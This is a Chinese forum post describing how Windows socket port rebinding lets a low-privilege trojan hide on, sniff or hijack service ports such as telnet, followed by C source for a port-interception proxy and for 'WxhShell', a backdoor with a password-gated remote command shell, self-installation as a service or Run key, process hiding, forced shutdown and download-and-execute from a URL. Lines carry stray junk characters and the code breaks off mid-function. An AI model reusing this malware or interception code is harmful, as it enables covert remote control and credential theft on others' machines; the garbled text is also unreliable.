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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^X)U^Qd  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Gvtd )9^<  
VtZ  
  saddr.sin_family = AF_INET; x|F6^d   
P`-(08t  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); SXwgn >  
fx99@%Ii  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); S]K^wj[  
]m=* =LLC  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 R)nhgp(~  
Mf%/t HK  
  这意味着什么?意味着可以进行如下的攻击: /fBZRdB  
7EI(7:gOn  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @wl80v  
+M-' K19  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +ulX(u(,  
IN , @  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0 m";=:(w  
`w[0q?}"`  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  FGy7KVR  
vTh-I&}:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 d,8V-Dk+p  
`axNeqM  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3P^eD:) w  
MR#jI  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 NO`LSF  
tN3Xn]   
  #include iBV*GW  
  #include qAivsYN*  
  #include .NQoqXR  
  #include    J4!Z,-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   &EE6<-B-  
  int main() 8ENAif   
  { X xB*lX  
  WORD wVersionRequested; xDRK^nmC  
  DWORD ret; j 9y,UT  
  WSADATA wsaData; E+ JGqk  
  BOOL val; Y0&w;P  
  SOCKADDR_IN saddr; ^%IKlj- E  
  SOCKADDR_IN scaddr; qf4|!UR{  
  int err; ,y:q]PR  
  SOCKET s; }b)?o@9}:  
  SOCKET sc; Pkc4=i,`A  
  int caddsize; |os2@G$  
  HANDLE mt; xot q$r  
  DWORD tid;   5c'rnMW4+p  
  wVersionRequested = MAKEWORD( 2, 2 ); @2YO_rL[  
  err = WSAStartup( wVersionRequested, &wsaData ); ;9,Ll%Lk<  
  if ( err != 0 ) { ?9mWMf%t  
  printf("error!WSAStartup failed!\n"); &y3_>!L  
  return -1; 4) /tCv  
  } @ U}fvdft  
  saddr.sin_family = AF_INET; ]L}<Y9)t  
   b.8HGt<%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 hL67g  
ZS^EKz~+  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #)my)}o\p  
  saddr.sin_port = htons(23); V [[B~Rs  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v*FCE 1HI  
  { SDA +XnmH  
  printf("error!socket failed!\n"); hYb!RRGn  
  return -1; k(u W( 6  
  } {;f` t3D  
  val = TRUE; @B7 ;  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _ky!4^B  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !%T@DT=l&  
  { &b"PjtU.X  
  printf("error!setsockopt failed!\n"); /5U?4l(6[f  
  return -1; /3FC@?l w4  
  } 5IVASqYp  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; X k<X:,T  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 sJ3HH0e  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _.?$~;7  
kIU"-;5tP  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <:q]t6]$  
  { JOenVepQ,  
  ret=GetLastError(); 6l:CDPhR  
  printf("error!bind failed!\n"); \DeZY97p%  
  return -1; < g6 [mS  
  } $sGX%u  
  listen(s,2); #V4_.t#  
  while(1) @@SG0YxZ  
  { j><.tA~i  
  caddsize = sizeof(scaddr); li/IKS)e$  
  //接受连接请求 _wZ(%(^I  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `=q)-y_C  
  if(sc!=INVALID_SOCKET) +SUQRDF@i  
  { NFmB ^@k  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]=@>;yP)  
  if(mt==NULL) 0sV;TQt+f  
  { XImb"7|  
  printf("Thread Creat Failed!\n"); xQWZk`6~L  
  break; v,Ep2$  
  } zLf^O%zN  
  } oE-i`;\8  
  CloseHandle(mt); !Aj_r^[X`  
  } ,lL0'$k~  
  closesocket(s); uh:  
  WSACleanup(); |{t}ULc  
  return 0; %ze Sx  
  }   = 1`  
  DWORD WINAPI ClientThread(LPVOID lpParam) k9yA#  
  { O?8G  
  SOCKET ss = (SOCKET)lpParam; xV<NeU  
  SOCKET sc; PS(LD4mD  
  unsigned char buf[4096]; xU67ztS'E'  
  SOCKADDR_IN saddr; @-!w,$F)%d  
  long num; 2)4{  
  DWORD val; q SCt= eQ  
  DWORD ret; JK[7&C-O  
  //如果是隐藏端口应用的话,可以在此处加一些判断 t?YGGu^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   - bFz  
  saddr.sin_family = AF_INET; 7/Ve=7]  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9FJU'$FN  
  saddr.sin_port = htons(23); {U-VInu  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c @2s!bs  
  { l$zo3[  
  printf("error!socket failed!\n"); LR-op?W  
  return -1; 33"{"2==`  
  } ;rd!kFd#bq  
  val = 100; qI5/ME(}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -!wm]kx f  
  { *k=Pk  
  ret = GetLastError(); JMO"(?  
  return -1; V , )kw{](  
  } 3&x_%R  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @kI^6(.  
  { 5hg>2?e9s?  
  ret = GetLastError(); -kQ{~"> w  
  return -1; ]<++w;#+x  
  } ph^qQDA  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?z Ms;  
  { `9b D%M  
  printf("error!socket connect failed!\n"); <(s+  
  closesocket(sc); ) 1H]a'j  
  closesocket(ss); X#+A?>Z]}<  
  return -1; 1wGd5>GDA  
  }  BX+-KvT  
  while(1) i aP+Vab  
  { Z1^S;#v  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?A,gDk/#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8.]dThaq  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 nCXIWLw  
  num = recv(ss,buf,4096,0); o?/N4$&5l  
  if(num>0) |l7e*$j  
  send(sc,buf,num,0); )h>Cp,|{  
  else if(num==0) !7^fji  
  break; i"sVk8+o!  
  num = recv(sc,buf,4096,0); C.pNDpx-  
  if(num>0) <J?i+b  
  send(ss,buf,num,0); G8akMd]2  
  else if(num==0) $\m=-5 0-  
  break; Ha4?I$'$  
  } Hdj0! bUx  
  closesocket(ss); Z-]d_Y~m4  
  closesocket(sc); +,c;Dff  
  return 0 ; =2->1<!x6<  
  } >/$Q:92T  
n'%*vdHK m  
|Q.?<T:wt=  
========================================================== /$I&D}uR`  
Qzb8*;4?FF  
下边附上一个代码,,WXhSHELL &$vDC M4  
$ZwsTV]x  
========================================================== y(6&90cr  
KC8A22  
#include "stdafx.h" fN8A'p[  
N#]f?6 *R  
#include <stdio.h> <NT/+>:2  
#include <string.h> fs~n{z,ja%  
#include <windows.h> J"FKd3~:E  
#include <winsock2.h> Njz,y}\  
#include <winsvc.h> zS|%+er~zO  
#include <urlmon.h> ]<W1edr  
%o+bO}/9  
#pragma comment (lib, "Ws2_32.lib") _Ndy;MQ  
#pragma comment (lib, "urlmon.lib") w#XE!8`  
49Ht I9@  
#define MAX_USER   100 // 最大客户端连接数 Q.M3rRh  
#define BUF_SOCK   200 // sock buffer !4I?59  
#define KEY_BUFF   255 // 输入 buffer LNk 3=v2M  
1pO ;aG1O  
#define REBOOT     0   // 重启 P|_?{1eO2  
#define SHUTDOWN   1   // 关机 ;?h#',(p  
cnCUvD]'  
#define DEF_PORT   5000 // 监听端口 -"!V&M  
J>XaQfzwU  
#define REG_LEN     16   // 注册表键长度 U5izOFc  
#define SVC_LEN     80   // NT服务名长度 _.Uz!2  
fIWQ+E  
// 从dll定义API %>5Ht e<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *.voN[$~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); q`9~F4\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B:+}^=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hiU_r="*ox  
5 MQRb?[  
// wxhshell配置信息 3=sA]j-+(  
struct WSCFG {  6~$ <  
  int ws_port;         // 监听端口 I%{^i d@  
  char ws_passstr[REG_LEN]; // 口令 l_^>spF  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z0`?  
  char ws_regname[REG_LEN]; // 注册表键名 Pgye{{  
  char ws_svcname[REG_LEN]; // 服务名 ;@v7AF6Hq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *M- .Vor?R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 owYfrf3ZLX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?vf\_R'M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no as~.XWa  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8*6J\FE<p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $`_(%tl  
PX2Ejrwj  
}; 7b@EvW6X}  
!i}G>*XH,  
// default Wxhshell configuration R%3H"FU9w  
struct WSCFG wscfg={DEF_PORT, |W*f 6F3  
    "xuhuanlingzhe", !!Mp;h'}-  
    1, De:w(Rm  
    "Wxhshell", pMa 3R3a  
    "Wxhshell", T7cT4PAW  
            "WxhShell Service", \mWXr*;  
    "Wrsky Windows CmdShell Service", S)JZ b_  
    "Please Input Your Password: ", j cx/ZR  
  1, Yn1U@!  
  "http://www.wrsky.com/wxhshell.exe", Mt@K01MI%  
  "Wxhshell.exe" &sx/qS#,VL  
    }; WMh'<'w N_  
0Xk;X1Xl  
// 消息定义模块 w[4SuD  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R&PQ[Xc  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a7#Eyw^H{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Hvor{o5|tB  
char *msg_ws_ext="\n\rExit."; \ov>?5  
char *msg_ws_end="\n\rQuit."; Wc`Vcn1  
char *msg_ws_boot="\n\rReboot..."; |a\s}M1  
char *msg_ws_poff="\n\rShutdown..."; 3%|<U51  
char *msg_ws_down="\n\rSave to "; YhR?*Di  
"NC( ^\l/  
char *msg_ws_err="\n\rErr!"; NSb< 7_L  
char *msg_ws_ok="\n\rOK!"; =bv8W < #  
'[\%P2c)Q  
char ExeFile[MAX_PATH]; *p.ELI1IC  
int nUser = 0; n!HFHy2  
HANDLE handles[MAX_USER]; vc^PXjX  
int OsIsNt; ~Ycz(h'(  
e$F7wto  
SERVICE_STATUS       serviceStatus; ]V.9jlXF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; m{+lG*  
-6t# ?Dkc'  
// 函数声明 nW|[poQK  
int Install(void); m\@Q/_ v  
int Uninstall(void); ;]n U->  
int DownloadFile(char *sURL, SOCKET wsh); V!FzVl=G  
int Boot(int flag); ]p0m6}B  
void HideProc(void); i1aS2gFi_  
int GetOsVer(void); }zLe;1Tx  
int Wxhshell(SOCKET wsl); 7Dm^49H  
void TalkWithClient(void *cs); 8yztVdh  
int CmdShell(SOCKET sock); hc0VS3 k)  
int StartFromService(void); mYt(`S*q  
int StartWxhshell(LPSTR lpCmdLine); \?qXscq  
|l)Oy#W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rR C3^X`u  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); X]y3~|K  
zq1&MXR)l  
// 数据结构和表定义 ;'J L$=  
SERVICE_TABLE_ENTRY DispatchTable[] = HJg)c;u/2;  
{ Z$WT ~V  
{wscfg.ws_svcname, NTServiceMain}, -t*C-C'"|  
{NULL, NULL} #"7:NR^H^  
}; C: e}}8i  
*q8W;Wa L  
// 自我安装 bdcuO)3  
int Install(void) 3_Oq4/  
{ n]8_]0{qi  
  char svExeFile[MAX_PATH]; +;; fw |/  
  HKEY key; EidIi"sr  
  strcpy(svExeFile,ExeFile); DlIfr6F  
Pu axS  
// 如果是win9x系统,修改注册表设为自启动 T<!`~#kM  
if(!OsIsNt) { )(DV~1r=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p}(w"?2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vBM\W%T|d  
  RegCloseKey(key); ?0_i{BvN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { = b)q.2'#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Pv0OoN*eJ{  
  RegCloseKey(key); |c >  
  return 0; &BE[=& |  
    } s|{K?s  
  } "?avb`YU'  
} I;mtyS  
else { 4] DmgOru%  
Y{p *$  
// 如果是NT以上系统,安装为系统服务 AA05wpu8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~r=TVHjqi  
if (schSCManager!=0) |: nuT$(  
{ :;??!V  
  SC_HANDLE schService = CreateService a`|/*{  
  ( 1 !\pwd@{  
  schSCManager, UdLC]  
  wscfg.ws_svcname, d,D)>Y'h  
  wscfg.ws_svcdisp, Wg}#{[4  
  SERVICE_ALL_ACCESS, 7r}gS2d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #c!(97l6o  
  SERVICE_AUTO_START, s0nihX1Z-  
  SERVICE_ERROR_NORMAL, ?TzN?\   
  svExeFile, rxDule3m  
  NULL, 0U$6TDtmE  
  NULL, E176O[(V=  
  NULL, d3n TJX  
  NULL, rp1 u  
  NULL IFv2S|  
  ); possM'vC  
  if (schService!=0) 5'z&kl0"S  
  { t-E'foYfr`  
  CloseServiceHandle(schService); gXH89n  
  CloseServiceHandle(schSCManager); 8n&",)U  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); EkTen:{G  
  strcat(svExeFile,wscfg.ws_svcname); P, S9gG9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~*2PmD"+:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }.T$bj1B;V  
  RegCloseKey(key); 8{d`N|k  
  return 0; T-5T`awf  
    } _$=xa6YA  
  } wkd591d*  
  CloseServiceHandle(schSCManager); Js=|r;'  
} ;G},xDGO_m  
} h_CeGl!M}  
PDpIU.=!0  
return 1; FAQ:0 L$G  
} ?T4%"0  
nh E!Pk  
// 自我卸载 \XB71DUF  
int Uninstall(void) (U7%Z<  
{ h_A}i2/{  
  HKEY key; }"cb^3  
2%@j<yS  
if(!OsIsNt) { a .] !  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z;n}*^U  
  RegDeleteValue(key,wscfg.ws_regname); U7ajDw  
  RegCloseKey(key); B8TI 5mZ4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -Xd/-,zPY  
  RegDeleteValue(key,wscfg.ws_regname); qc`_&!*D  
  RegCloseKey(key); ZE=~ re  
  return 0; ipbVQ7  
  } 2"i<--Y  
} a7d782~  
} }RoM N$r  
else { -D(Ubk Pw  
!w/~dy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J'7){C"G$  
if (schSCManager!=0) Gwvs~jN  
{ c/x(v=LW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $[|8bE  
  if (schService!=0) "0/OpT7h7  
  { [tBIABr  
  if(DeleteService(schService)!=0) { 8KAyif@1::  
  CloseServiceHandle(schService); gK%&VzG4  
  CloseServiceHandle(schSCManager); S$$:G$j  
  return 0; I O6i  
  } s*!2oj  
  CloseServiceHandle(schService); jf$t  
  } ".@SQgyb0  
  CloseServiceHandle(schSCManager); g`&pQ%|=  
} :V_$?S  
} goHr# @  
IXg${I}_Q  
return 1; glv(`cQ  
} S`*al<m  
:X$&g sT/,  
// 从指定url下载文件 4XKg3l1  
int DownloadFile(char *sURL, SOCKET wsh) z5i!GJB  
{ 5w1=j\oq  
  HRESULT hr; aFC3yMKXh  
char seps[]= "/"; TY88PXW  
char *token; \Xkx`C  
char *file; i3Ffk+ |b  
char myURL[MAX_PATH]; l"cO@.T3  
char myFILE[MAX_PATH]; i "-#1vy=  
V K NCK  
strcpy(myURL,sURL); U2bb|6j  
  token=strtok(myURL,seps); ,3W a~\/Q  
  while(token!=NULL) 7)a=B! 8M  
  { A+ f{j  
    file=token; q,*IR*B:a  
  token=strtok(NULL,seps); v =u|D$  
  } C'=C^X%  
;pULJ}rDb  
GetCurrentDirectory(MAX_PATH,myFILE); jn+0g:l  
strcat(myFILE, "\\"); "`3H0il;<  
strcat(myFILE, file); W"2\vo)  
  send(wsh,myFILE,strlen(myFILE),0); ),~Ca'TU  
send(wsh,"...",3,0); z.jGVF4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); MT V'!Zxs  
  if(hr==S_OK) /`'50C j  
return 0; f5yd2wKy6  
else FF/MTd}6qG  
return 1; 6?Ks H;L9  
%`}Qkb/Lyh  
} @lmke>  
!W3Le$aL  
// 系统电源模块 -bj1y2)n  
int Boot(int flag) D'2O#Rj4q  
{ Vl'=92t  
  HANDLE hToken; 0<s)xaN>Y  
  TOKEN_PRIVILEGES tkp; [t6)M~&e:_  
wo_FM `@  
  if(OsIsNt) { a;h:o>Do5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o%|1D'f^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K]7@%cS  
    tkp.PrivilegeCount = 1; |C(72t?K  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "qDEI}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .&[nS<~`  
if(flag==REBOOT) { L?Lp``%bI7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9YvMJ  
  return 0; leD?yyjw7  
} j&&^PH9ZY  
else { ct]5\g?U'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y]n^(V  
  return 0; 4+W}TKw  
} V3`*LU  
  } Onc!5L  
  else { G!Uq#l>  
if(flag==REBOOT) { s/T5aJR  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Dnp^yqz*  
  return 0; E@@quK  
} R4v=i)A~Z  
else { C2b.([HE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) '@W72ML.  
  return 0; cKxJeM07  
} -,i1T(p1  
} ;0BCM(>Wo  
}5]NUxQ_  
return 1; *i n_Z t3  
} HK-?<$Yc  
o?X\,}-s  
// win9x进程隐藏模块 $@U`zy"Y  
void HideProc(void) tl4;2m3w  
{ SMhT>dB  
-meKaQv  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GV2}K <s  
  if ( hKernel != NULL ) q&N&n%rbm  
  { x7*}4>|W,I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \fKv+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); SKS[Lf  
    FreeLibrary(hKernel); F0|T%!FB>%  
  } 'WOW m$2  
Ft|a/e  
return; 1XZ&X]  
} -p)HH@6a  
NT-du$! u  
// 获取操作系统版本 pG4Hy$e  
int GetOsVer(void) u.arkp  
{ OC [a?#R1  
  OSVERSIONINFO winfo; HKh)T$IZM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pkT a^I  
  GetVersionEx(&winfo); Y#Z&$&n  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d5i /:  
  return 1; i'57|;?  
  else F^w0TD8  
  return 0; Z2`e*c-[E  
} MJD4#G  
Te.hXCFD  
// 客户端句柄模块 ce;9UBkOg2  
int Wxhshell(SOCKET wsl) ())|x[>JS+  
{ oZ=e/\[K  
  SOCKET wsh; G>!"XK:fB  
  struct sockaddr_in client; J:Qp(s-N^:  
  DWORD myID; S1=c_!q%9  
QvqBT  
  while(nUser<MAX_USER) ~+d]yeDrhx  
{ N@)g3mX>  
  int nSize=sizeof(client); dk.da&P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G +YF  
  if(wsh==INVALID_SOCKET) return 1; J LeV@NO  
? &1?uc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [OT@gp:  
if(handles[nUser]==0) >!oN+8[~  
  closesocket(wsh); T"0a&.TLj  
else 9!R!H&  
  nUser++; f{+8]VA  
  } $Qm;F% >  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =DqGm]tA  
t,H,*2  
  return 0; )8vcg{b{d  
} m\VJ=  
3O]e  
// 关闭 socket 6znm?s@~  
void CloseIt(SOCKET wsh) 5]F9o9]T  
{ ?hwQY}   
closesocket(wsh); C f+O7Y`^  
nUser--; q|j;dI&  
ExitThread(0); @!F9}n AP  
} ; lK2]  
2f-Z\3)9 J  
// 客户端请求句柄 GRs;-Jt  
void TalkWithClient(void *cs) @Xh 4ZMyEx  
{ n =v %}@f2  
?+TD2~rD(  
  SOCKET wsh=(SOCKET)cs; {1qEN_ERx  
  char pwd[SVC_LEN]; YV2^eGr.  
  char cmd[KEY_BUFF]; 3NJ-.c@(p  
char chr[1]; jb*#!m.l  
int i,j; m4%m0"Z  
J=Jw"? f  
  while (nUser < MAX_USER) { i?a]v 5  
) ejvT-  
if(wscfg.ws_passstr) { n_w,Ew,>5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7'<4'BGzl]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WpvH} l r}  
  //ZeroMemory(pwd,KEY_BUFF); '-*r&:  
      i=0; Dg]i};  
  while(i<SVC_LEN) { KYeA=  
A 7sej  
  // 设置超时 X~j A*kmAj  
  fd_set FdRead; 7/~"\nN:/  
  struct timeval TimeOut; N* z<VZ  
  FD_ZERO(&FdRead); "=RB #  
  FD_SET(wsh,&FdRead); - Zw"o>  
  TimeOut.tv_sec=8; N[mOJa:  
  TimeOut.tv_usec=0; Ea3tF0{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); G{s ,Y^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M0]fh5O  
11)~!in  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ht=yzJ9Pr  
  pwd=chr[0]; =6 [!'K  
  if(chr[0]==0xd || chr[0]==0xa) { )XNcy"   
  pwd=0; qH(2 0Z!  
  break; 1E-$f  
  } `SU;TN0  
  i++; AHLDURv  
    } !YoKKG~_0  
"5e]-u'  
  // 如果是非法用户,关闭 socket YvU#)M_h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Oq.) 8E.  
} Mu:H'$"'H  
C= Zuy^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Nd0Wt4=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FKzqJwT  
}\irr9,  
while(1) { 5<S1,u5  
6jnRC*!?  
  ZeroMemory(cmd,KEY_BUFF); (z.Vwl5  
G9gvOEI/  
      // 自动支持客户端 telnet标准   \2LCpN  
  j=0; 1DBzD%@Oz  
  while(j<KEY_BUFF) { !K@y B)9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I4)vJ0  
  cmd[j]=chr[0]; G(4k#jB  
  if(chr[0]==0xa || chr[0]==0xd) { $M><K  
  cmd[j]=0; y}3V3uqK  
  break; QO%LSRw  
  } zzxU9m~"  
  j++; mEqV&M1;7l  
    } 0|U<T#t8?  
Oe=,-\&_  
  // 下载文件 A/.cNen  
  if(strstr(cmd,"http://")) { G cbal:q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); G'bp  
  if(DownloadFile(cmd,wsh)) *[jaI-~S  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m]%cNxS  
  else :1s1wY3Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /)G9w]|T  
  } j@:L MR>  
  else { 4SOj>(a#  
>s>5k O  
    switch(cmd[0]) { d p?uq'  
  ]f\rB8k|&  
  // 帮助 o 1b#q/  
  case '?': { n2QD*3i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >SzTZ3!E  
    break; '.bMkty#  
  } F%Xq}LMd  
  // 安装 *zx;81X=  
  case 'i': { v14[G@V~\  
    if(Install()) D`gY6wX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :4A^~+J  
    else qR1ez-#K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q}8R>`Z{  
    break; ~!uK;hI  
    } `j2z=5  
  // 卸载 6m{3GKaW~  
  case 'r': { 63~i6  
    if(Uninstall()) ,5/gNg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \gzNMI*  
    else g_q{3PW.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HS2)vd@)  
    break; )oNomsn  
    } &oR&NKk  
  // 显示 wxhshell 所在路径 Qejzp/2  
  case 'p': { yZ2,AR%  
    char svExeFile[MAX_PATH]; MdPwuXI  
    strcpy(svExeFile,"\n\r"); lyT~>.?{  
      strcat(svExeFile,ExeFile); !nd*U}q  
        send(wsh,svExeFile,strlen(svExeFile),0); RS93_F8   
    break; "'8$hV65.p  
    } [~;9Mi.XL  
  // 重启 U@*z#T#"m  
  case 'b': { Ufk7%`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^WRr "3  
    if(Boot(REBOOT)) `zvYuKQ.}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xo*a9H?@  
    else { *L!R4;ubE  
    closesocket(wsh); J0x)m2  
    ExitThread(0); L h0<A%  
    } 5=$D~>-#  
    break;  /f2*J  
    } t4Z.b 5g  
  // 关机 <vAg\Tv:S  
  case 'd': { p'R}z|d)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6Y=$7%z  
